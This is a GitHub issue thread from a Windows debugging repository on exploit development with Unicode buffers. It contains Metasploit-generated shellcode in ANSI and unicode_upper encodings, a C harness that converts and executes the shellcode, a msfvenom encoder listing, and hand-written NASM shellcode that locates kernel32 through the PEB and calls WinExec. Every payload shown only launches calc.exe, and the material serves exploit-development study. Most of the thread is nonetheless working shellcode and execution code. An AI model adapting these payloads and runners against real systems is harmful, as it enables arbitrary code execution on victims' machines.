nixawk / Awesome-Windows-Debug

Debug Windows Application / Kernel
81 stars 34 forks source link

Windows Exploits - Unicode Buffer Overflows #19

Open nixawk opened 6 years ago

nixawk commented 6 years ago
multibytetowidechar
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
    int UnicodeStrLen;
    UINT CodePage;
    DWORD dwFlags;
    LPCSTR lpMultiByteStr;
    int cbMultiByte;
    LPWSTR lpWideCharStr;
    int cchWideChar;

    CodePage = GetACP();
    dwFlags = 0;
    lpMultiByteStr = "AAAAAAAAAAAAAAAAAA";
    cbMultiByte = -1;
    lpWideCharStr = NULL;
    cchWideChar = 0;

    // First we call MultiByteToWideChar() to get the required size of the buffer that will hold our wide string.
    UnicodeStrLen = MultiByteToWideChar(CodePage, dwFlags, lpMultiByteStr, cbMultiByte, lpWideCharStr, cchWideChar);

    // Next we allocate the required space and return a pointer to our new memory location
    lpWideCharStr = (PWSTR)HeapAlloc(GetProcessHeap(), 0, UnicodeStrLen * sizeof(wchar_t));

    // Finally we call MultiByteToWideChar() again to convert our string
    // Note: this time we provide values for the pointer to and length of our wide string 
    MultiByteToWideChar(CodePage, dwFlags, lpMultiByteStr, cbMultiByte, lpWideCharStr, UnicodeStrLen * sizeof(wchar_t));

    return 0;
}

/*

UINT GetACP(void);

int MultiByteToWideChar(
  _In_      UINT   CodePage,
  _In_      DWORD  dwFlags,
  _In_      LPCSTR lpMultiByteStr,
  _In_      int    cbMultiByte,
  _Out_opt_ LPWSTR lpWideCharStr,
  _In_      int    cchWideChar
);

LPVOID WINAPI HeapAlloc(
  _In_ HANDLE hHeap,
  _In_ DWORD  dwFlags,
  _In_ SIZE_T dwBytes
);

*/

// https://www.securitysift.com/windows-exploit-development-part-7-unicode-buffer-overflows/
// https://msdn.microsoft.com/en-us/library/windows/desktop/dd318070(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/dd319072(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/aa366597(v=vs.85).aspx
nixawk commented 6 years ago

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

/*

$ ./msfvenom -l encoders

Framework Encoders
==================

    Name                          Rank       Description
    ----                          ----       -----------
    cmd/echo                      good       Echo Command Encoder
    cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
    cmd/ifs                       low        Generic ${IFS} Substitution Command Encoder
    cmd/perl                      normal     Perl Command Encoder
    cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
    cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
    generic/eicar                 manual     The EICAR Encoder
    generic/none                  normal     The "none" Encoder
    mipsbe/byte_xori              normal     Byte XORi Encoder
    mipsbe/longxor                normal     XOR Encoder
    mipsle/byte_xori              normal     Byte XORi Encoder
    mipsle/longxor                normal     XOR Encoder
    php/base64                    great      PHP Base64 Encoder
    ppc/longxor                   normal     PPC LongXOR Encoder
    ppc/longxor_tag               normal     PPC LongXOR Encoder
    ruby/base64                   great      Ruby Base64 Encoder
    sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
    x64/xor                       normal     XOR Encoder
    x64/zutto_dekiru              manual     Zutto Dekiru
    x86/add_sub                   manual     Add/Sub Encoder
    x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
    x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
    x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
    x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
    x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
    x86/bmp_polyglot              manual     BMP Polyglot
    x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
    x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
    x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
    x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
    x86/countdown                 normal     Single-byte XOR Countdown Encoder
    x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
    x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
    x86/nonalpha                  low        Non-Alpha Encoder
    x86/nonupper                  low        Non-Upper Encoder
    x86/opt_sub                   manual     Sub Encoder (optimised)
    x86/service                   manual     Register Service
    x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
    x86/single_static_bit         manual     Single Static Bit
    x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
    x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder

$ ./msfvenom --help-platforms
Platforms
    aix, android, apple_ios, bsd, bsdi, cisco, firefox, freebsd, hardware, hpux, irix, java, javascript, juniper, linux, mainframe, multi, netbsd, netware, nodejs, openbsd, osx, php, python, r, ruby, solaris, unix, windows
*/

// msf5 payload(windows/exec) > generate -b '\x00' -t c
/*
 * windows/exec - 220 bytes
 * http://www.metasploit.com
 * Encoder: x86/shikata_ga_nai
 * VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
 * CMD=calc.exe
 */
char ANSI_SHELLCODE[] =
"\xd9\xc1\xd9\x74\x24\xf4\xba\x6d\xed\xa8\xa0\x5e\x31\xc9\xb1"
"\x31\x31\x56\x18\x03\x56\x18\x83\xc6\x69\x0f\x5d\x5c\x99\x4d"
"\x9e\x9d\x59\x32\x16\x78\x68\x72\x4c\x08\xda\x42\x06\x5c\xd6"
"\x29\x4a\x75\x6d\x5f\x43\x7a\xc6\xea\xb5\xb5\xd7\x47\x85\xd4"
"\x5b\x9a\xda\x36\x62\x55\x2f\x36\xa3\x88\xc2\x6a\x7c\xc6\x71"
"\x9b\x09\x92\x49\x10\x41\x32\xca\xc5\x11\x35\xfb\x5b\x2a\x6c"
"\xdb\x5a\xff\x04\x52\x45\x1c\x20\x2c\xfe\xd6\xde\xaf\xd6\x27"
"\x1e\x03\x17\x88\xed\x5d\x5f\x2e\x0e\x28\xa9\x4d\xb3\x2b\x6e"
"\x2c\x6f\xb9\x75\x96\xe4\x19\x52\x27\x28\xff\x11\x2b\x85\x8b"
"\x7e\x2f\x18\x5f\xf5\x4b\x91\x5e\xda\xda\xe1\x44\xfe\x87\xb2"
"\xe5\xa7\x6d\x14\x19\xb7\xce\xc9\xbf\xb3\xe2\x1e\xb2\x99\x68"
"\xe0\x40\xa4\xde\xe2\x5a\xa7\x4e\x8b\x6b\x2c\x01\xcc\x73\xe7"
"\x66\x22\x3e\xaa\xce\xab\xe7\x3e\x53\xb6\x17\x95\x97\xcf\x9b"
"\x1c\x67\x34\x83\x54\x62\x70\x03\x84\x1e\xe9\xe6\xaa\x8d\x0a"
"\x23\xc9\x50\x99\xaf\x20\xf7\x19\x55\x3d";

// msf5 payload(windows/exec) > generate -e x86/unicode_upper -o BufferRegister=EAX -t c
/*
 * windows/exec - 517 bytes
 * http://www.metasploit.com
 * Encoder: x86/unicode_upper
 * VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
 * CMD=calc.exe
 */
char UNIC_SHELLCODE[] =
"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51\x41\x54"
"\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44\x41\x5a\x41\x42"
"\x41\x52\x41\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51\x41"
"\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31\x41\x49\x31\x41\x49"
"\x41\x49\x41\x4a\x31\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38"
"\x41\x41\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51"
"\x49\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51\x49"
"\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33"
"\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x59\x58\x54\x42"
"\x4d\x30\x4b\x50\x4b\x50\x53\x30\x54\x49\x39\x55\x30\x31\x57"
"\x50\x33\x34\x54\x4b\x42\x30\x50\x30\x34\x4b\x30\x52\x4c\x4c"
"\x34\x4b\x31\x42\x4e\x34\x44\x4b\x43\x42\x4f\x38\x4c\x4f\x56"
"\x57\x50\x4a\x4d\x56\x30\x31\x4b\x4f\x36\x4c\x4f\x4c\x33\x31"
"\x33\x4c\x4b\x52\x4e\x4c\x4f\x30\x57\x51\x38\x4f\x4c\x4d\x4d"
"\x31\x39\x37\x39\x52\x4a\x52\x30\x52\x52\x37\x34\x4b\x52\x32"
"\x4c\x50\x44\x4b\x4f\x5a\x4f\x4c\x44\x4b\x30\x4c\x4c\x51\x54"
"\x38\x4b\x33\x31\x38\x4d\x31\x4a\x31\x42\x31\x34\x4b\x50\x59"
"\x4d\x50\x4d\x31\x38\x53\x54\x4b\x51\x39\x4d\x48\x4b\x33\x4e"
"\x5a\x4f\x59\x44\x4b\x30\x34\x54\x4b\x4d\x31\x58\x56\x50\x31"
"\x4b\x4f\x36\x4c\x59\x31\x58\x4f\x4c\x4d\x4b\x51\x37\x57\x4f"
"\x48\x49\x50\x44\x35\x4c\x36\x4c\x43\x33\x4d\x4b\x48\x4f\x4b"
"\x43\x4d\x4f\x34\x53\x45\x49\x54\x42\x38\x54\x4b\x50\x58\x4e"
"\x44\x4b\x51\x38\x53\x52\x46\x54\x4b\x4c\x4c\x30\x4b\x54\x4b"
"\x32\x38\x4d\x4c\x4b\x51\x59\x43\x44\x4b\x4b\x54\x44\x4b\x4d"
"\x31\x48\x50\x33\x59\x30\x44\x4d\x54\x4e\x44\x31\x4b\x31\x4b"
"\x53\x31\x30\x59\x31\x4a\x50\x51\x4b\x4f\x39\x50\x31\x4f\x31"
"\x4f\x30\x5a\x44\x4b\x4d\x42\x4a\x4b\x44\x4d\x51\x4d\x42\x4a"
"\x4d\x31\x34\x4d\x35\x35\x56\x52\x4d\x30\x4d\x30\x4d\x30\x32"
"\x30\x33\x38\x4e\x51\x34\x4b\x32\x4f\x45\x37\x4b\x4f\x38\x55"
"\x47\x4b\x4a\x50\x47\x45\x47\x32\x51\x46\x51\x58\x55\x56\x54"
"\x55\x47\x4d\x45\x4d\x4b\x4f\x4a\x35\x4f\x4c\x4d\x36\x43\x4c"
"\x4b\x5a\x33\x50\x4b\x4b\x4b\x30\x54\x35\x4d\x35\x47\x4b\x30"
"\x47\x4d\x43\x52\x52\x32\x4f\x52\x4a\x4b\x50\x42\x33\x4b\x4f"
"\x49\x45\x42\x43\x31\x51\x52\x4c\x33\x33\x4e\x4e\x32\x45\x53"
"\x48\x52\x45\x4d\x30\x41\x41";

void EXEC_ANSI_SHELLCODE(char *shellcode)
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

void EXEC_UNIC_SHELLCODE(char *shellcode)
{
    int UnicodeStrLen;
    UINT CodePage;
    DWORD dwFlags;
    LPCSTR lpMultiByteStr;
    int cbMultiByte;
    LPWSTR lpWideCharStr;
    int cchWideChar;

    CodePage = GetACP();
    dwFlags = 0;
    lpMultiByteStr = shellcode;
    cbMultiByte = -1;
    lpWideCharStr = NULL;
    cchWideChar = 0;

    // First we call MultiByteToWideChar() to get the required size of the buffer that will hold our wide string.
    UnicodeStrLen = MultiByteToWideChar(CodePage, dwFlags, lpMultiByteStr, cbMultiByte, lpWideCharStr, cchWideChar);

    // Next we allocate the required space and return a pointer to our new memory location
    lpWideCharStr = (PWSTR)HeapAlloc(GetProcessHeap(), 0, UnicodeStrLen * sizeof(wchar_t));

    // Finally we call MultiByteToWideChar() again to convert our string
    // Note: this time we provide values for the pointer to and length of our wide string 
    MultiByteToWideChar(CodePage, dwFlags, lpMultiByteStr, cbMultiByte, lpWideCharStr, UnicodeStrLen * sizeof(wchar_t));

    __asm {
        mov eax, lpWideCharStr;
        call eax;
    }

}

int main(int argc, char* argv[])
{
    if (argc != 2)
    {
        printf("[*] Usage: %s <A, ansi | W, unicode | F, fail>\n", argv[0]);
        return 0;
    }

    if (strcmp(argv[1], "A") == 0)
    {
        printf("Executing ANSI Shellcode...\n");
        EXEC_ANSI_SHELLCODE(ANSI_SHELLCODE);
    }
    else if (strcmp(argv[1], "W") == 0)
    {
        printf("Executing UNIC Shellcode...\n");
        EXEC_UNIC_SHELLCODE(UNIC_SHELLCODE);
    }
    else if (strcmp(argv[1], "F") == 0)
    {
        printf("Executing ANSI Shellcode based on UNIC...\n");
        EXEC_UNIC_SHELLCODE(ANSI_SHELLCODE);
    }

    return 0;
}

/*

UINT GetACP(void);

int MultiByteToWideChar(
  _In_      UINT   CodePage,
  _In_      DWORD  dwFlags,
  _In_      LPCSTR lpMultiByteStr,
  _In_      int    cbMultiByte,
  _Out_opt_ LPWSTR lpWideCharStr,
  _In_      int    cchWideChar
);

LPVOID WINAPI HeapAlloc(
  _In_ HANDLE hHeap,
  _In_ DWORD  dwFlags,
  _In_ SIZE_T dwBytes
);

*/

// https://www.securitysift.com/windows-exploit-development-part-7-unicode-buffer-overflows/
// https://msdn.microsoft.com/en-us/library/windows/desktop/dd318070(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/dd319072(v=vs.85).aspx
// https://msdn.microsoft.com/en-us/library/windows/desktop/aa366597(v=vs.85).aspx
nixawk commented 6 years ago

How to create your own shellcode ?

Compile shellcode

C:\Users\debug\AppData\Local\bin\NASM>nasm shellcode.asm -o shellcode.bin
[BITS 32]
;[get kernel32 address]
xor ebx, ebx          ;clear ebx
mov ebx, [fs:0x30]    ;get pointer to PEB : dd fs:[0x30]     -> 7ffd9000 
mov ecx, [ebx+0xA4]   ;get OSMajorVersion : dd 7ffd9000+0xA4 -> 00000006
mov ebx, [ebx+0x0C]   ;get PEB->Ldr       : dd 7ffd9000+0x0C -> 77008880
mov ebx, [ebx+0x14]   ;get PEB->Ldr->InMemoryOrderModuleList.Flink (1st entry) : dd 77008880+0x14 -> 000e1ca0
mov ebx, [ebx]        ;get 2nd entry      : dd 000e1ca0  -> 000e1d20 
mov ebx, [ebx]        ;get 3rd entry      : dd 000e1d20  -> 000e2018
mov ebx, [ebx+0x10]   ;get base address of 3rd entry = kernel32.dll  : dd 000e2018+0x10 -> 75250000

                      ; windbg> lm m kernel32
                      ; start    end        module name
                      ; 75250000 75325000   kernel32   (deferred)             

;[push the winexec calc params]
xor esi,esi           ;zero register for param use
push esi              ;null terminator for "calc"
push dword "calc"     ;"calc"
mov eax,esp           ;pointer to calc
push esi              ;param 1 = 0
push eax              ;param 2 = "calc"

;[check windows version]
cmp cl, 5             ;check OS version
je WinXP              ;jump to winxp params

Win7:
lea edi,[ebx+0x5BED2] ;win 7 kernel32.exitprocess()  # 0x005BED2 - dependencywalker
lea eax,[ebx+0x8f57e] ;win 7 kernel32.winexec()      # 0x008f57e - dependencywalker
jmp WinExec           ;short jump to execute winexec/exitprocess

WinXP:
lea edi,[ebx+0x1cafa] ;win xp kernel32.exitprocess()
lea eax,[ebx+0x623ad] ;win xp kernel32.winexec()

;[execute winexec/exitprocess]
WinExec:
push edi              ;return address = exitprocess
jmp eax               ;jump to winexec()

disasm shellcode

C:\Users\debug\AppData\Local\bin\NASM>ndisasm.exe -b 32 C:\Users\debug\Desktop\shellcode.bin
00000000  31DB              xor ebx,ebx
00000002  648B1D30000000    mov ebx,[dword fs:0x30]
00000009  8B8BA4000000      mov ecx,[ebx+0xa4]
0000000F  8B5B0C            mov ebx,[ebx+0xc]
00000012  8B5B14            mov ebx,[ebx+0x14]
00000015  8B1B              mov ebx,[ebx]
00000017  8B1B              mov ebx,[ebx]
00000019  8B5B10            mov ebx,[ebx+0x10]
0000001C  31F6              xor esi,esi
0000001E  56                push esi
0000001F  6863616C63        push dword 0x636c6163
00000024  89E0              mov eax,esp
00000026  56                push esi
00000027  50                push eax
00000028  80F905            cmp cl,0x5
0000002B  740E              jz 0x3b
0000002D  8DBBD2BE0500      lea edi,[ebx+0x5bed2]
00000033  8D837EF50800      lea eax,[ebx+0x8f57e]
00000039  EB0C              jmp short 0x47
0000003B  8DBBFACA0100      lea edi,[ebx+0x1cafa]
00000041  8D83AD230600      lea eax,[ebx+0x623ad]
00000047  57                push edi
00000048  FFE0              jmp eax
$ ndisasm shellcode.bin -b 32 | awk '{print $2}' | sed 's/.\{2\}/&\\x/g;s/^/\"\\x/;s/[\\x]*$//;s//\"/'
"\x31\xDB"
"\x64\x8B\x1D\x30\x00\x00\x00"
"\x8B\x8B\xA4\x00\x00\x00"
"\x8B\x5B\x0C"
"\x8B\x5B\x14"
"\x8B\x1B"
"\x8B\x1B"
"\x8B\x5B\x10"
"\x31\xF6"
"\x56"
"\x68\x63\x61\x6C\x63"
"\x89\xE0"
"\x56"
"\x50"
"\x80\xF9\x05"
"\x74\x0E"
"\x8D\xBB\xD2\xBE\x05\x00"
"\x8D\x83\x7E\xF5\x08\x00"
"\xEB\x0C"
"\x8D\xBB\xFA\xCA\x01\x00"
"\x8D\x83\xAD\x23\x06\x00"
"\x57"
"\xFF\xE0"

execute shell code

char shellcode[] = "\x31\xDB"
"\x64\x8B\x1D\x30\x00\x00\x00"
"\x8B\x8B\xA4\x00\x00\x00"
"\x8B\x5B\x0C"
"\x8B\x5B\x14"
"\x8B\x1B"
"\x8B\x1B"
"\x8B\x5B\x10"
"\x31\xF6"
"\x56"
"\x68\x63\x61\x6C\x63"
"\x89\xE0"
"\x56"
"\x50"
"\x80\xF9\x05"
"\x74\x0E"
"\x8D\xBB\xD2\xBE\x05\x00"
"\x8D\x83\x7E\xF5\x08\x00"
"\xEB\x0C"
"\x8D\xBB\xFA\xCA\x01\x00"
"\x8D\x83\xAD\x23\x06\x00"
"\x57"
"\xFF\xE0";

void execute_shellcode(char *shellcode)
{
    int (*ret)() = (int(*)())shellcode;
    ret();
}

References